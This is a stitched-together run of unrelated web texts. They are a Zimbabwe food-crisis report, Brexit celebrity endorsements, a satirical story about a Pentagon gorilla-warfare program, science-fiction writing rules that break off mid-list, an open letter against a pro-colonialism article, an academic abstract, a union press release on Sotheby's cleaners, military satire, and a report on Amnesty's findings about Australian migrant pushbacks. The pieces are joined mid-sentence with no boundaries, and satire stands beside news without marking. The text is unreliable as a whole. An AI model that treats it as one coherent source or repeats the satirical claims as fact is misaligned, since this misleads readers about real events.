It's now the matamba season, but the round, hard-skinned fruit has to be ripe to be safe to eat. Experts tell you that in desperation, villagers are picking matamba and smothering it with donkey or cow dung so that the fruit will ripen rapidly out in the sun.
President Robert Mugabe's critics blame his land reform and redistribution policies for triggering the current food crisis and economic meltdown. Productive white-owned commercial farms in this region used to be part of the Zimbabwean miracle — the regional grain basket — until they were occupied by Mugabe allies, and many farmers and workers were driven from their lands.
Richard Lee, the southern Africa spokesman for the U.N. food aid agency — which is already feeding millions of Zimbabweans — warns that the crisis will only get worse.
"The food situation in Zimbabwe is already very serious in very many parts of the country," Lee says. "And as we go through the next few months, it's going to become critical in very many parts, and we're still four and a half months away from the next harvest."
Running Out Of Resources
The U.N. says that a little less than half of Zimbabwe's population — about 5 million people — will need international food assistance by the end of the year, with talk of a full-scale humanitarian emergency. Lee says the World Food Program is feeding 4 million people this month alone, but that stocks will run out by year's end.
"At the moment, we have no food supplies for distribution in January and February, just when the crisis is reaching its peak," Lee says. "So we can get to enough people in Zimbabwe, we can provide them with sufficient assistance, but we need additional resources, and we need those additional resources now."
The World Food Program says donors have failed to respond to its international appeal last month for $140 million to buy food for hungry Zimbabweans. So as the country's politics remain deadlocked, the food crisis is getting worse, compounded by staggering inflation as well as chronic shortages of fuel, foreign exchange, local currency and the most basic goods.
All this has forced Zimbabweans to become even more thrifty — and more resourceful.
Thriving Barter Market
"You never stop, you never rest, because if you rest, you will starve and the family will starve — to death," says Shingirai Chayamiti, a barter trader and father of three who sits under a shade tree on the side of a highway. "The food situation is too bad. It's critically too bad. Things are going worse and worse each and every day."
Two years ago, Chayamiti gave up his city job and a meager manager's salary and took to the road. He's been on the move ever since, trekking between distant urban areas and the countryside. On the side of the highway, he was watching over 800 pounds of corn in sacks, waiting for transport to the capital, Harare, but only a couple of cow-drawn carts trotted by.
"I will be taking back maize, wheat, soybeans in exchange for sugar, salt, bars of soap, cooking oil, shoes, sandals, used clothes and a variety of things, and make this barter exchange," Chayamiti says. "At least my family survives. I can make two ends meet, you see."
He says he has done good business bartering the crops.
"I can't complain, I can't complain really, because at least I know I'm surviving and my family is surviving. I cannot complain," Chayamiti says.
Chayamiti says a 12-inch bar of green laundry soap exchanges for about 10 pounds of corn. He had been hauling his barter load across Doma district, going from village to village and farm to farm for about a month and was only now heading back home to Harare, with a supply of the staple, corn, for his family to eat.
In three weeks, he will again leave his home in the city, armed with barter goods, heading for more villages and farms to exchange them for food.
Along the highway, a small group of children crowd around playfully. Each one is carrying a dirty old plastic bottle, where they had placed a collection of grain — corn kernels, green soybeans and anything else they'd picked up from the roadside that had fallen from the broken sacks of the barter traders.
Farmers, villagers and townsfolk alike says that some Zimbabweans are reduced to plucking undigested corn kernels from cow dung, which they wash, pound and then cook. That could be tonight's supper.James Bond star Daniel Craig is the latest celebrity to declare his support for Britain staying in the EU.
He was pictured last night wearing a white T-shirt with the slogan: 'No man is an island. No country by itself. Vote Remain on 23rd June.'
The picture of the retiring James Bond in the pro-EU T-shirt was first published by Turner Prize-winning artist Wolfgang Tillmans, who told his Instagram followers that Craig had sent him the picture.
Minutes after the picture appeared online David Cameron tweeted it along with the words: 'It's great to see Daniel Craig is planning to Vote Remain on Thursday.'
It delivers another boost to the Remain campaign after the endorsements of David and Victoria Beckham urged voters to support staying in the EU 'for our children'.
James Bond star Daniel Craig (pictured left) revealed his support for Britain staying in the EU after posing in a T-shirt with the slogan: 'No man is an island. No country by itself. Vote Remain on 23rd June'. It came hours after David and Victoria Beckham (pictured right) declared their support for Britain staying in the EU
The England footballing hero and his fashion designer wife said Britain should be facing the challenges of the world together with its allies.
He was joined by his former England colleague Rio Ferdinand, who compared EU membership to playing the success they achieved at Manchester United.
'We had to work even harder, and be even more of a team, to get where we wanted to be,' he wrote in the Evening Standard today.
In a day of sports celebrity endorsements nearly 50 stars - including former England rugby captain Laurence Dallaglio and marathon champion Paula Radcliffe - wrote a letter arguing: 'We are stronger working together'.
The letter was also signed by sportsmen from all corners of the UK, with former Northern Ireland footballer Neil Lennon and ex-Welsh goalkeeper Neville Southall also among the signatories.
David and Victoria Beckham endorsed the Remain campaign today, insisting Britain was part of a 'vibrant and connected world'
The former footballer was seen out in London this afternoon after backing the Remain campaign ahead of Thursday's EU referendum
With polls showing Thursday's historic referendum is too close to call, the Remain campaign will hope the last-minute celebrity endorsements will push them over the line.
But Crystal Palace chairman Steve Parish blasted the celebrity sporting endorsements as 'the politics of the playground' as he hit out at Premier League chief executive Richard Scudamore for claiming yesterday that all 20 clubs wanted Britain to stay in the EU.
Mr Parish, also co-owner of the south London club, said football clubs should not be telling anyone how to vote in an election and distanced his club from Mr Scudamore's statement.
'Unlike some of the things in the EU, the Premier League is a democracy and we get to vote for things. And we didn't vote for that,' he told the BBC today.
Beckham made his endorsement in a Facebook post this morning.
He recalled how he and other British-born players at Manchester United were good enough to be successful alone but were a 'better and more successful team' because of European additions such as Eric Cantona, Roy Keane and Peter Schmeichel.
Ex-England defender Rio Ferdinand (left) also endorsed the Remain campaign today, comparing the EU to his success at Manchester United, while marathon champion Paula Radcliffe (right) was among nearly 50 sports stars who wrote a letter arguing for Britain to stay in the EU
Former Northern Ireland footballer Neil Lennon (left) was among the signatories backing the Remain campaign but Crystal Palace chairman and co-owner Steve Parish (right) dismissed the celebrity sporting endorsements as 'the politics of the playground'
The ex-England captain said Britain was part of a 'vibrant and connected world' - but added the country would remain 'great' whatever the result on Thursday.
His wife Victoria also spoke out after Vote Leave highlighted Eurosceptic comments she made in 1996 while she was in the Spice Girls.
At the time she said in an interview that 'Euro bureaucrats are destroying every bit of national identity and individuality'.
But in a statement on Facebook, Victoria said the remarks were about 'keeping or losing the Pound' not the referendum.
'I believe in my country, I believe in a future for my children where we are stronger together and I support the #remain campaign,' she wrote.
Prime Minister David Cameron immediately welcomed the endorsement on Twitter today and will hope it is enough to push his Remain campaign over the line on Thursday
The letter signed by nearly 50 sports stars and sports industry figures states: 'In sport, the one thing that matters above all else is your team. Whether on the football pitch or running track, in the pool or in the gym, you can achieve so much more by working together.
'And the same is true for Britain in Europe: we are stronger working together with other countries with the ability to travel, work and play sport right across the continent.
'To remain a world leader in sport, we need to remain in the European Union. And that's why we'll be voting to remain on 23rd June.'
'In sport, the one thing that matters above all else is your team. Whether on the football pitch or running track, in the pool or in the gym, you can achieve so much more by working together.
'And the same is true for Britain in Europe: we are stronger working together with other countries with the ability to travel, work and play sport right across the continent.
'To remain a world leader in sport, we need to remain in the European Union. And that's why we'll be voting to remain on 23rd June.'
Prime Minister David Cameron welcomed the endorsements today, which could boost his hopes of winning on Thursday.
Polls show the referendum going down to the wire and the Remain campaign will hope a late celebrity endorsement will help push them over the line.
In his own endorsement of the Remain campaign, Ferdinand wrote: 'Sir Alex Ferguson always taught us that no individual is bigger than the team — that just because we played for Manchester United didn't mean we could swan around doing our own thing.
'We had to work even harder, and be even more of a team, to get where we wanted to be.
'I think Europe is a bit like that. Britain is an amazing country but we'll achieve much more if we're a team player – working with others to get things done.
'I believe we need to work with our friends and neighbours in Europe if we want to make changes our children can be proud of.
'The sort of things young people care about: tackling climate change, helping refugees, fighting disease in Africa — they can only get fixed if we all work together.'
But sports people were not united today as Mr Parish slammed the Premier League's chief executive Richard Scudamore for claiming all clubs were in favour of staying in the EU.
He told BBC Radio 5 Live today: 'We didn't have a vote. Every single position in the Premier League requires a vote.
'Unlike some of the things in the EU, the Premier League is a democracy and we get to vote for things.
'And we didn't vote for that. This club would like to distance itself from that statement. I don't think it is for Premier League clubs to decide how people vote.
'Unless I fell asleep in a meeting which I don't think I did, we didn't have a vote on whether we endorsed a view to stay in Europe.
'And for me, I don't think it is the position of a football club to tell anyone to vote in any election. It is extraordinary that David Cameron would tweet that as a fact and use our logo as if we are endorsing one view or another. We were never asked.
Polls show the referendum going down to the wire and the Remain campaign will hope a late celebrity endorsement will help push them over the line
'We have probably got a split inside our ownership group, we haven't debated it internally and we would certainly like our supporters to vote with their conscience and based on the facts that they know and not because the football club is encouraging them to do anything.'
Yesterday, Britain Stronger in Europe released more material from the endorsement of ex-Top Gear hosts Jeremy Clarkson and James May.
In a statement today, Beckham said: 'I'm passionate about my country and whatever the result of Thursday's referendum, we will always be Great.
'Each side has the right to their opinion and that should always be respected whatever the outcome of the European Referendum.
'I played my best years at my boyhood club, Manchester United. I grew up with a core group of young British players that included Ryan Giggs, Paul Scholes, Nicky Butt and the Neville Brothers.
'Added to that was an experienced group of older British players such as Gary Pallister, Steve Bruce and Paul Ince.
'Now that team might have gone on to win trophies but we were a better and more successful team because of a Danish goalkeeper, Peter Schmeichel, the leadership of an Irishman Roy Keane and the skill of a Frenchman in Eric Cantona.'
Beckham said he had been 'privileged' to play and live in Paris, Madrid and Milan during his career, together with team mates from around the world.
He added: 'Those great European cities and their passionate fans welcomed me and my family and gave us the opportunity to enjoy their unique and inspiring cultures and people.
Mr Cameron welcomed the Beckham intervention in an interview with ITV's Lorraine today, insisting Britain had to be part of the European team
'We live in a vibrant and connected world where together as a people we are strong. For our children and their children we should be facing the problems of the world together and not alone.
'For these reasons I am voting to Remain.'
Mr Cameron today told ITV's Lorraine: 'There was a very moving statement today from David Beckham talking about his children and saying how effectively, what he said to me was, 'you can't win in Europe, unless you're on the pitch', and that's true.
'I worry about that as Prime Minister, I know that we sit around the table [with Europe] and make decisions about security and safety and fighting terrorism and all the rest of it, fighting climate change.
'And if we leave they don't stop meeting and making decisions that affect us, but they'll be making decisions about us but without us in the room and that would be bad for Britain.'
Clarkson and May made a bizarre film urging voters to stay in the EU because leaving would make it much harder to film their motoring shows.
Standing in front of a map of Europe, they warn that European countries outside the EU, such as Switzerland, are a 'waste of time,' explaining to viewers that they don't film in the country because of custom duties.
Jeremy Clarkson (right) and James May (left) said they were 'fond' of Europe and staying in the EU was one of few issues they agree on - along with the views that the Ford Mondeo is a good car and'sandwich spread is delicious'
The short YouTube video showed the pair, who are filming for their new Amazon show The Grand Tour, attempting to put on a united front despite being known for their argumentative relationship.
Clarkson and May said they were 'fond' of Europe and staying in the EU was one of few issues they agree on - along with the views that the Ford Mondeo is a good car and'sandwich spread is delicious'.
'It's annoys me actually, I'll be honest, because I want to remain in Europe but that means agreeing with him,' Clarkson explains, motioning to his colleague.
The Remain campaign has repeatedly trumpeted its support and endorsements from celebrities and other high profile names, coordinating letters and appearances.
By contrast, the Leave campaign has attracted less celebrity support - but does count England cricket legend Sir Ian Botham and actor Sir Michael Caine among its backers.
Vote Leave champion Michael Gove pointed out that the Brexit campaign had the support of another ex-England captain when he heard about Beckham's comments.
'Sol Campbell is for Leave, as indeed, I think, is John Barnes. As a QPR fan I know what it's like to support the underdog,' the Justice Secretary said in a BBC interview this morning.CRESCENT CITY, CA — The Department of Defense has confirmed accusations that a $179 million military training program for mountain gorillas was created based on a spelling error in an email between two high ranking Army officers, according to official sources. The admission follows over a year of denials, which were originally sparked by a leaked copy of the email from an anonymous whistleblower.
“As these large wars end and we refocus on the possibility of proxy wars with China over resources and influence in the Pacific, South America, and Africa, we need to think about putting a small scale Green Beret-like capability in at least a few of our regular infantry battalions,” the email begins.
“This is partly just a recruiting ploy to put in the commercials, but it would also identify local talent that we could pull out of gen pop and send to Camp Mackall or the Rangers. God bless the SEALs and Marines, but they’re the only things standing between the goddamn Navy and total irrelevancy. Screw [the Goldwater-Nichols Act of 1986], we need more special forces and shock troops to price them out of the market. To stand up that kind of capability, we’ll need to budget for a new gorilla [sic] warfare program.”
The email soon came to the attention of Admiral William McRaven, commander of the U.S. Special Operations Command. Unfortunately, the email seems to have only been forwarded in part, and McRaven saw just the final three sentences, which he forwarded to Chief of Naval Operations ADM Jonathan Greenert. A week later, Secretary of the Navy Ray Mabus, accompanied by ADM Greenert and caged silverback mountain gorilla Ojore, publicly announced that the Navy’s Marine Mammal Program would, “like the Navy SEALs and Marines, now expand to cover threats on sea, air, and land, and in any clime and place,” a statement now believed to have been intended to provoke the Army based on Mabus’ mistaken impression of the email.
Despite originally having no interest in actual gorillas, the Army complained that the Navy had no business in what was logically an Army mission, since there was nothing aquatic about gorillas. The Navy, concerned that they might be completely shut out of the military gorilla field, responded that ‘marine mammal’ was a description of the animals’ training, not their natural habitat, and threatened to press for takeover of the Army’s working dog program since the Army routinely teaches their dogs how to swim. Following a period of bitter bureaucratic infighting, the Army grudgingly backed down and created their own gorilla program with a similar level of funding.
A compromise between the two services was negotiated soon after by Rep. Mike Thompson (D-Calif.) of the House Ways and Means Committee, an Army veteran and a “strong believer in the military gorilla concept.” Thompson’s compromise produced the Joint Military Gorilla Program (JMGP), which combined the Army and Navy’s gorilla programs in a single $100M facility headquartered outside Crescent City, CA, and also created a prestigious liaison billet for an Air Force officer.
The location of the facility in what was then Thompson’s home district led to allegations of corruption and pork-barrel spending, at which point WikiLeaks received and published the original email along with several hundred related emails from later in the project’s development. The scandal died down when JMGP spokesman and head primatologist Dr. Warren Reed explained that California’s 1st District contained one of only a few cloud forest habitats in the U.S., which was vital for proper gorilla research, and that this, combined with factors such as proximity to the ocean and other regional military facilities, made it the only possible choice.
The story then faded until a sharp-eyed reader, outspoken military reformer Colonel Roy Casey, USAF (Ret.), looked at the initial email, realized the misunderstanding, and posted the entire story on his blog, which was soon picked up by both WIRED and Foreign Policy. Interest in the story immediately revived, and the Department of Defense’s denials began.
“I think this tells you a lot about the culture of the DoD,” said Casey. “There was no reality check anywhere in the chain that offered even a single question about this, even as simple a question as ‘sir, did you mean guerrilla warfare?,’ nevermind questions about the number of gorillas left in the world, the difficulty of teaching military science to animals only capable of sign language, or the dangers of handling even a single wild fucking gorilla, much less how those dangers might be compounded if you gathered a large group of gorillas in one place, armed them, and then trained them how to operate as a military unit. People were either too afraid or too stupid to ask their bosses hard questions. This is even worse than the Bradley.”
By ‘worse than the Bradley’, Casey is referring to problems of corruption and incompetence that plagued the development of the Army’s Bradley Fighting Vehicle, and which were exposed by his fellow military reformer Col. James Burton in the book The Pentagon Wars.
However, Dr. Reed is pleased with the program’s results. “The critics can say whatever they want, but we’re seeing real progress. The mountain gorilla social hierarchy maps perfectly onto a military hierarchy, and these guys have a passion for learning. It took very little time to get them up to reading children’s books, and after only a few months they’d moved on to history. And as soon as Petty Officer Ojore reads a book, he hands it off to his Army counterpart, Sergeant Munyiga, then on down the line until they’ve all finished it. One week it will be The Spartacus War. The next week it will be Mutiny on the Amistad. Sure, sometimes they get confused, like when Ojore signed that he wanted a copy of Alberto Bayo’s 150 Questions for a Guerrilla, but he played it off and made a big show of reading it cover to cover anyway.”
“As far as Col Casey, his claims are ridiculous,” said Reed. “The truth is, we have no problem admitting when we make mistakes or have setbacks. For instance, while the subjects have picked up reading very quickly, we’ve been disappointed with their sign language. During the day, they seem able to sign normally, but at night their signs to each other are nonsense, just hours of back and forth nonsense.”
Colonel Casey remains unconvinced.
“What’s worse than this error making it so long without getting caught is that, even when the error finally came to light, they chose to double down on the mistake instead of correcting it. It’s like the F-35. ‘Hey, we’re so delusional that we believe even our complete fuck-ups are somehow accidentally brilliant.’ Don’t get me wrong…screw WikiLeaks, fuck that twerp Assange, and Manning should get ten lashes on the National Mall. But the fact is that this shows the DoD still has brain cancer. Until they institutionalize reform processes instead of sending their white blood cells after anyone who tries to handle reform in-house, they’ll need someone outside getting in their soup to keep them honest. Looking at this mess, you’ve got to wonder just how badly things would have to go wrong before they’d admit they screwed up.”
Meanwhile, outside Crescent City, CA, the program continues.
When questioned about a second WikiLeaks document which claimed that, following a month long cultural awareness course, the twelve silverbacks’ behavior appeared to indicate that they had adopted a particularly radical type of Salafi Islam, the DoD refused to comment, except to vow that they would prosecute all involved in leaking the document.Author’s note: These rules are intentionally provocative, and they have generated much discussion and some intense opinions for and against. This is as it should be. They are not all original with me. Rules 6, 8, and 9 have been stated (in different words) by SF editors for years, so if you write and submit stories, you may have been reminded of them in rejection letters.
These rules are more applicable to written SF than TV or film. Film SciFi is usually about monsters and although being set in an SF world, they are only monster movies with few, if any, science elements necessary to the plot. if you can relocate the locale to ancient Rome, take out the space ships and ray guns, and the movie still works, then it is not SF. TV shows, with only 40 or so minutes to move a plot, don’t have time to be careful about rules.
Please don’t trash me (or my spelling) when you think that you disagree. If you have an intelligent argument, please make it. Abusive comments and trolls will be disemvowled.
10. Earthmen are not all white or all men.
Subscribers to Science Fiction magazines in the 1950s were predominantly adult educated white men working as engineers or other technical jobs. White, educated men with technical backgrounds wrote SF stories. There is a strong tradition dating from the Golden Age of SF that SF protagonists are white educated males.
Today, SF readers are younger and much more diverse. SF characters need to reflect the diversity of its readership. It should be as diverse as the backgrounds of the readers, and even more so. Characters need to be all age groups from very young to very old. Ethnically they need to reflect the readership and then push the limits. Sexually, there should be reality-based characters that represent the readers’ real world.
Science Fiction should expand the worldview of its readers and expose them to much more than the normal, expected and ordinary. Nowhere is this more important than in the characters that populate SF stories.
9. No Supermen
A Science Fiction writer should never put beings into a story that are so far superior to men that we cannot understand their motives, we cannot overcome their will or we cannot meet them face to face in a fair fight. It is not interesting that there is a being out there who can simply step on us like an ant. This is one of the rules of the famous Science Fiction editor John W. Campbell, Jr.
It is quite possible that we will meet such beings, but it will not be such a good story because the aliens will destroy us, ignore us, or take us as pets.
In order for there to be interaction, or conflict, the protagonist has to have at least a chance of success. He has to out fight, out smart, out luck, or out something in order to make an interesting plot resolution. Avoiding the superman is not interesting. If you can avoid him, he may not be so super. All villains have to have a weaknesses and faults. Even the hero should have a few faults, and it helps if the pretty girl brought along by mistake has a few as well.
The hero’s cause can look hopeless, but we expect that. It is always interesting to see how someone gets out of a sticky situation, but it is no fun when the cause is without any hope.
8. No Trek or Star Wars.
Nothing can kill a story, conversation, or relationship deader than an inappropriate reference to Star Trek or Star Wars.
Star Trek and Star Wars are worlds unto themselves. They are beyond judgment and criticism. It doesn’t matter how bad any individual scene or episode is, on the whole the worst Star Trek episode is better than anything else that has ever been on television. But, don’t ever think that Star Trek and Star Wars are good Science Fiction. Rarely, they have had moments where they approach good SF, but only rarely.
Authors, please do not bring elements of ST and SW into your stories. Don’t use Phasers, teleporters, droids, Klingons, Wookies, the prime directive and especially never bring “The Force” into a story. This, of course, includes renaming things.
The technology, philosophies, plots and characters of ST, SW, Bab-5, BG, and other TV shows are so obvious and easily recognizable that these elements, no matter how well disguised, are instantly flagged as a bad imitation.
7. Science Fiction is Real.
Science Fiction is not like fantasy. Science Fiction has to plausible, realistic, possible and yes, it has to be real. Even if it hasn’t happened yet, or never happened in the past, Science Fiction has to be possible in some alternate world. Elements that make a story downright impossible make a story something other than Science Fiction.
There is a lot of leeway as to what reality includes, especially when dealing with a possible science or technology. It is important that the ideas appear to be real and do not raise obvious objections. There will always be a certain level of what Coleridge called the “willing suspension of disbelief”, but a Science Fiction story should never ask a reader to swallow something that is obviously ridiculous or patently impossible without a lot of convincing explanation.
Reality includes creating scientific principles and concepts for which there is no current basis. These scientific notions must be plausible in the sense that they act like the scientific principle which we currently are sure of, but they may not so outlandish as to negate anything we are pretty sure is true now.
Certain things so obviously lack reality that they cannot appear in a Science Fiction story. Vampires, zombies, ghosts, demons, unicorns, elves, and magic are mythical and have no scientific basis, and they are incompatible with Science Fiction. No amount of rationalization is going to make a vampire seem scientifically sound.
Religious ideas such as God, angels, devils, life after death and miracles have a kind of reality based on faith, but are not describable using the scientific method. They are perfectly acceptable as part of a society’s or character’s belief set, but under no circumstances should Jesus appear in a story as a fictional character.
One of the things that makes SF so compelling is that there is a feeling that what we read is real. It may be happening to fictional characters in a fictional situation, but the science and technology are a very real and important part of a reality that affects our lives.
6. Giving Something an Alien Name Doesn’t Make it Alien.
Raktajino is coffee. By giving it a Klingon name it sort of appears alien, but everyone drinks it like coffee. It looks like coffee. It is coffee. Writers should not think that making cows into Dvigids and Horses into Pytkos that they are not writing a western. Pistols should not be a ray gun unless the difference between a pistol and a ray gun is important to the plot.
A possible future or an alien culture should not be full of aliases for things that belong in our time on earth – that’s just lazy.
A western can’t be turned into SF by changing Texas to Alderan 7. Humans can’t be transformed into aliens by changing their appearance. A murder mystery set on a space station is a murder mystery, not Science Fiction.
Damon Knight described this as “calling a rabbit a smeerp.”
5. Aliens Should be Alien
It is quite possible that in the next thousand years we will find intelligent aliens or that they will find us. It is not at all likely that they will be buxom babes with an urge to procreate with the men of Earth.
TV and Movie Scifi uses humans, usually with a strange shape of ear, a long tongue, or wearing a rubber alien suit, because it is hard to make stories about truly alien aliens. Very often aliens are not characters, but props or monsters, especially in movies, making the story not Science Fiction, but a horror movie.
It is quite possible that any alien will be humanoid with symmetric bodies, a head, arms, legs, hands, mouths and eyes that work similarly to their human equivalents. It will be unlikely that they work the same way, though. Sharks and Dolphins are similar looking, but very different creatures, so aliens may look like men in many ways.
Aliens may have two sexes, but are unlikely to be mammals and therefore will not have breasts or lips. They may communicate through sound, but even if they do, they will probably not be able to mimic human sound patterns. Lips are an adaptation for drinking milk from breasts. On earth there are many ways in which a creature feeds its young. Breast milk is one way, but this may not be common on other planets. It seems a good solution to us, but may not be the best way. Creatures without breasts do not have lips.
Aliens will not be like us.
Corollary laws:
A. You will never meet an alien who speaks English like a native.
B |
publication of Professor Bruce Gilley's appalling article, "The Case for Colonialism" published September 2017. In truth, we originally thought this work was satire; if that is the case, it is satire that fails.
The sentiments expressed in this article reek of colonial disdain for Indigenous peoples and ignore ongoing colonialism in white settler nations. The author ponders "what would likely have happened in a given place absent colonial rule?" (2) with the predictably racist conclusion that peoples and cultures would have remained "primitive," relying upon an obscene, reductive colonial epithet. The author suggests a return of invasive, forced Western governance based on the purported “consent of the colonized” (2), which is a ludicrous proposal to anyone who has even a remote awareness of the history of national revolutions and independence movements. The author's argument that colonized peoples "saw the benefits of being governed by a modernised and liberal state" (4) attempts to validate the white man's burden ideology denounced by scholars such as Gayatri Spivak in her foundational essay, "Can the Subaltern Speak." Gilley then devolves again into his white supremacist and Eurocentric call for "civility." The point that "Western countries should be encouraged to hold power in specific governance areas (public finances, say, or criminal justice)" (2) cannot be taken out of the context in which BIPOC around the world are surveilled, disenfranchised, and murdered by colonial and state structures of criminal “justice.” This condescension also infantilizes and dehumanizes BIPOC by claiming that they are incapable of self-governance. This is especially appalling when the author elsewhere in the article takes the words of multiple decolonial scholars of colour out of context in order to justify his violence against their respective communities and cultures.
We prefer to be brief here and not spend our valuable time doing the work that your peer-reviewers and editorial board members should have done. We will close by asserting that this article is not only offensive but damaging. It is an active attack on BIPOC scholars, thinkers, and people, as well as on the project of decolonization. In our current political context, the lives and safety of BIPOC, refugees, and allies are being threatened by radicalized white supremacist groups. These kinds of ideas are not simply abstract provocations, but have real, material consequences for those who Prof. Gilley seeks to dominate and objectify. Regardless of its intention, and we are already suspicious of those intentions given Professor Gilley's publication history and fields of inquiry, this article is harmful and poorly executed pseudo-"scholarship" and should be retracted immediately.
Your journal will continue to lose credibility the longer this article remains published.
- Jenny Heijun Wills, Ph.D., Associate Professor, Department of English and Director of the Critical Race Network, University of Winnipeg
- Rebecca Salazar, Ph.D. (cand.), University of New Brunswick
- Carrianne Leung, Ph.D.6 Pages Posted: 2 Feb 2011
Date Written: January 31, 2011
Abstract
This working paper (3000 words, including 19 footnotes) was written on January 29-31, 2011, as events unfolded in Egypt. It was published in the present version as an article on January 31, 2011, by OpenDemocracy, and may be republished with attribution for non-commercial purposes following the Creative Commons guidelines. The article’s sub-title is “From the Shah of Iran to Sri Lanka’s Foreign Minister to Egypt’s Mubarak, cozy relationships in US foreign policy need to be questioned.” Its point of departure is the Thatcher-Pinochet friendship, which is related to Hillary Clinton's interview in Egypt in 2009 when she downplayed the US Department of State's own report of serious human rights violations in Egypt (including a torture apparatus) while emphasizing, "I really consider President and Mrs. Mubarak to be friends of my family." The article then shows how a version of family-ties coziness has plausibly played a role in how Sri Lanka has managed to mute, to the point of near-silence, US criticism. I take the reader through the first joint press conference held by Secretary of State Clinton and the just-appointed Foreign Minister of Sri Lanka G L Peiris, who attended Oxford University as a Rhodes Scholar alongside former US President Bill Clinton. Amongst the notable omissions and elisions in Hillary Clinton’s remarks during that press conference was the complete failure to address her own Department of State’s report on approximately 300 incidents of possible war crimes in Sri Lanka that needed investigating. I return to Egypt in its present crisis by comparing the 30 years of support for Mubarak to the decades of US support for the Shah of Iran, which support then merged with President Jimmy Carter's inability to disentangle a personal rapport with the Shah from Carter's supposed human rights-friendly foreign policy. The piece ends with consideration of the implications for US foreign policy of cozy personal relationships with key politicians in repressive regimes – implications that go beyond adding a layer of complexity, extending to questions of ethical accountability.Sotheby’s cleaning staff to receive London Living Wage
Volunteer-run trade union United Voices of the World has successfully negotiated with Contract Cleaning and Maintenance (London) Limited to secure the London Living Wage for the cleaners and porters at Sotheby’s auction house.
As well as a substantial pay rise to the full London Living Wage of £9.15 per hour, the increase will be backdated to 1 November 2014.
In addition, a suspended shop steward and dismissed cleaner have both been reinstated, and the chemicals the cleaners use will be changed in favour of more eco-friendly products.
United Voices of the World general secretary, Petros Elia, said: “Sotheby’s is famous for selling masterpieces for millions of pounds, so the contrast with cleaners on poverty wages could hardly be greater.
“These hardworking people were also subject to a host of other injustices, which are sadly all too common in the cleaning sector, including a cut in hours and pay resulting in more work for less money and aggressive managers who never faced disciplinary sanctions.
“We began by submitting a collective grievance to the contractor, CCML, but this was flippantly dismissed.
“We then secured an Early Day Motion in Parliament strongly condemning such employment practices and calling on Sotheby’s to resolve the dispute.
“That helped to raise awareness of the cleaners’ complaints, as did writing to several hundred of Sotheby’s employees. A protest scheduled for Sunday 22 February seems to have been the catalyst for this comprehensive settlement, which was achieved without having to resort to strike action.
“Having arrived late at the negotiating table, Sotheby’s deserve great credit for proposing a generous package which goes way beyond what other multinationals provide.
“The rise to the London Living Wage equates to an extra £1,750 a year for a cleaner working 8 hours per day, with the backdated pay worth a further £600. In particular, the promise of contractual sick pay sets a fine example that we urge others to follow.
“It says a lot that the cleaners say the most welcome change is an ability to take all their annual leave in one go. Many are of Latin American descent, so this will make it much easier for them to visit their families.”
A Sotheby’s cleaner, who wished to remain anonymous, commented: “At first we were all afraid of losing our jobs. We were told that if we went on strike we would all be fired. So then we all came together and joined the union United Voices of the World. We cannot find the words to thank UVW, who gave us so much support and encouragement to fight for our rights and our dignity.”
Header image used under Wikimedia Creative Commons license. Credit: ZeisterreFAYETTEVILLE, NC—Saying he “never could have imagined” he would have the opportunity to follow directly in his father’s footsteps, 19-year-old U.S. Army Pvt. Tyler Corcoran was reportedly excited Tuesday to take over his dad’s old patrol route in Afghanistan. “It’s just so incredible that I’ll soon be walking the very same footpath as my old man, securing the perimeter of Camp Chapman in Khost Province just like he did so many years ago,” said Corcoran, who explained how, throughout his childhood, he had heard his father’s stories of guarding the forward operating base but never once considered that he would one day be traversing along the exact walls and securing the identical checkpoints his father had during his tours of duty. “To think that I’ll be monitoring the road between the airstrip and detention facility that Dad always talked about, keeping an eye out for IEDs and any suspicious activity the same way he did all those years ago. Honestly, it’s hard to believe—but, wow, it’s really happening.” At press time, a tear fell from Corcoran’s eye as he hugged his dad goodbye in the very same manner he remembered his father doing to him when he was a toddler.
AdvertisementReleased on October 28, the Amnesty International (AI) report, titled "By hook or by crook," examines Australia's policy of intercepting and pushing back boats carrying migrants on high seas.
The 38-page document focuses on an incident that took place in May 2015, when a boat transporting 65 migrants from Sri Lanka, Bangladesh and Myanmar to New Zealand was turned back by Australia.
By conducting interviews with the asylum seekers on board, the boat crew as well as the Indonesian police, the report's authors say they found evidence that Australian officials paid the migrant boat's six-member crew about $32,000 and told them to take the people to Indonesia instead.
The Australians reportedly also provided verbal instructions and maps showing the crew where to land in Indonesia, the rights group added. The report also raises questions about whether Australian officials paid money to the crew of another boat turned back in July.
Amnesty says Australian officials paid about $32,000 to the migrant boat's crew
'A lawless venture'
Furthermore, AI criticized Australia's efforts to control its maritime border as "a lawless venture with evidence of criminal activity, pay-offs to boat crews and abusive treatment of women, men and children seeking asylum."
"All of the available evidence points to Australian officials having committed a transnational crime by, in effect, directing a people-smuggling operation, paying a boat crew and then instructing them on exactly what to do and where to land in Indonesia," said AI Refugee Researcher Anna Shea.
"In the two incidents documented by AI, Australian officials also put the lives of dozens of people at risk by forcing them onto poorly equipped vessels. When it comes to its treatment of those seeking asylum, Australia is becoming a lawless state," she noted.
A tougher policy
Allegations that Australian authorities paid people smugglers initially emerged in June this year. The United Nations Refugee Agency (UNHCR) raised similar concerns after speaking with people on the ship. But then Australian Prime Minister Tony Abbott refused to respond to the allegations, saying he wouldn't comment on operational issues.
Australia's approach towards irregular migrants has come under increased scrutiny in recent times.
Under former PM Abbott, who was in office until September, the government hardened its asylum policy as part of its "Operation Sovereign Borders" initiative, and began to either push back the boats to Indonesia or to send the migrants to offshore detention centers on islands such as Nauru and Papua New Guinea.
Australia hardened its asylum policy under former Prime Minister Tony Abbott
Last year, Australia also signed a deal with Cambodia to resettle asylum seekers there in exchange for millions of dollars.
The Australian government argues that this tough policy saves lives and prevents people smugglers from exploiting vulnerable and desperate migrants. Former PM Abbott even recently urged European countries, which are currently facing a refugee influx, to adopt similar policies to stem the flow of migrants.
Widespread abuse
Although rights groups acknowledge that Australia's approach has been ruthlessly effective in stopping boats packed with migrants from reaching the country's shores, they accuse Canberra of inhumane treatment of refugees and of failing to honor its international obligations.
Activists note that claims of abuse are rampant at the offshore detention sites, where hundreds of people - including women and children - are currently held.
The offshore detention centers in Nauru hold hundreds of migrants, including children
An Australian senate committee, dominated by the country's opposition, recently lambasted the detention centers as unsafe for asylum seekers and called for the immediate removal of children from the controversial facilities.
Despite criticism from rights advocates, polls have consistently shown that a significant number of Australians approve of the government's tough stance.
